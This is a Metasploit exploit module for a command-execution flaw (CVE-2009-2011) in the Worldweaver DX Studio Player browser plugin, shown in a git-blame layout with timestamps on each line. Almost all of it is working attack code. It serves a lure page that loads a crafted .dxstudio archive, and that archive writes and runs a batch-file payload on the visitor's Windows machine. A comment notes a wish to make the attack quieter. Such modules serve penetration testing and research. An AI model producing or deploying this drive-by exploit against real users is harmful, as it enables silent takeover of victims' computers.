2010-02-17 20:14:40 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-02-17 20:14:40 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex/zip'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2014-02-08 00:46:19 +00:00
|
|
|
include Msf::Exploit::CmdStager
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-03-11 17:07:27 +00:00
|
|
|
'Name' => 'Worldweaver DX Studio Player shell.execute() Command Execution',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
2014-03-11 17:07:27 +00:00
|
|
|
This module exploits a command execution vulnerability within the DX
|
|
|
|
Studio Player from Worldweaver for versions 3.0.29 and earlier. The
|
|
|
|
player is a browser plugin for IE (ActiveX) and Firefox (dll). When an
|
|
|
|
unsuspecting user visits a web page referring to a specially crafted
|
|
|
|
.dxstudio document, an attacker can execute arbitrary commands.
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2014-03-11 17:07:27 +00:00
|
|
|
Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20
|
|
|
|
and IE 6 on Windows XP SP3. In IE, the user will be prompted if they
|
|
|
|
wish to allow the plug-in to access local files. This prompt appears to
|
|
|
|
occur only once per server host.
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2014-03-11 17:07:27 +00:00
|
|
|
NOTE: This exploit uses additionally dangerous script features to write
|
|
|
|
to local files!
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-2011' ],
|
|
|
|
[ 'BID', '35273' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '54969' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'EDB', '8922' ],
|
|
|
|
[ 'URL', 'http://dxstudio.com/guide.aspx' ]
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
# 'Arch' => ARCH_CMD,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
2014-02-08 23:11:47 +00:00
|
|
|
'CmdStagerFlavor' => 'vbs',
|
2013-08-30 21:28:54 +00:00
|
|
|
'DisclosureDate' => 'Jun 09 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
url_base = "http://"
|
|
|
|
url_base += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
|
|
url_base += ":" + datastore['SRVPORT'].to_s + get_resource()
|
|
|
|
|
|
|
|
payload_url = url_base + "/payload"
|
|
|
|
|
|
|
|
# handle request for the payload
|
|
|
|
if (request.uri.match(/payload/))
|
|
|
|
|
|
|
|
# build the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
cmds = generate_cmdstager({:linemax => 2047}, p)
|
|
|
|
scr = ""
|
|
|
|
cmds.each { |ln|
|
|
|
|
scr << "f.writeString('"
|
|
|
|
scr << ln
|
|
|
|
scr << "\\n');\n"
|
|
|
|
}
|
|
|
|
|
|
|
|
# make header.xml
|
|
|
|
hdrxml = %Q|<?xml version="1.0"?>
|
2010-02-17 20:14:40 +00:00
|
|
|
<dxstudio>
|
|
|
|
<script><![CDATA[function onInit()
|
|
|
|
{
|
2010-04-30 08:40:19 +00:00
|
|
|
var f=system.file.openWrite("BATNAME");
|
|
|
|
f.writeString('@echo off\\n');
|
2010-02-17 20:14:40 +00:00
|
|
|
CMDS
|
2010-04-30 08:40:19 +00:00
|
|
|
f.close();
|
|
|
|
shell.execute("BATNAME");
|
2010-02-17 20:14:40 +00:00
|
|
|
}]]>
|
|
|
|
</script>
|
|
|
|
</dxstudio>
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
hdrxml.gsub!(/CMDS/, scr);
|
|
|
|
bat_name = rand_text_alphanumeric(rand(32)) + ".bat"
|
|
|
|
hdrxml.gsub!(/BATNAME/, bat_name);
|
2010-02-17 20:14:40 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# craft the zip archive
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
|
|
zip.add_file("header.xml", hdrxml)
|
|
|
|
data = zip.pack
|
2010-02-17 20:14:40 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending file.dxstudio payload")
|
|
|
|
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Handle the payload
|
|
|
|
# handler(cli)
|
|
|
|
return
|
|
|
|
end
|
2010-02-17 20:14:40 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# otherwise, send the html..
|
|
|
|
html = %Q|<html>
|
2010-02-17 20:14:40 +00:00
|
|
|
<body>
|
|
|
|
<div height=100%>
|
|
|
|
Please wait...
|
|
|
|
</div>
|
|
|
|
<object width=1 height=1 classid='clsid:0AC2706C-8623-46F8-9EDD-8F71A897FDAE'>
|
2010-04-30 08:40:19 +00:00
|
|
|
<param name="src" value="DXURL" />
|
|
|
|
<embed width=1 height=1 src=DXURL type="application/x-dxstudio">
|
|
|
|
</embed>
|
2010-02-17 20:14:40 +00:00
|
|
|
</object>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending #{self.name} HTML")
|
|
|
|
# Transmit the compressed response to the client
|
|
|
|
html.gsub!(/DXURL/, payload_url)
|
|
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
2010-02-17 20:14:40 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-02-17 20:14:40 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
TODO:
|
2010-04-30 08:40:19 +00:00
|
|
|
- make it more quiet
|
|
|
|
- auto-migrate?
|
2010-02-17 20:14:40 +00:00
|
|
|
=end
|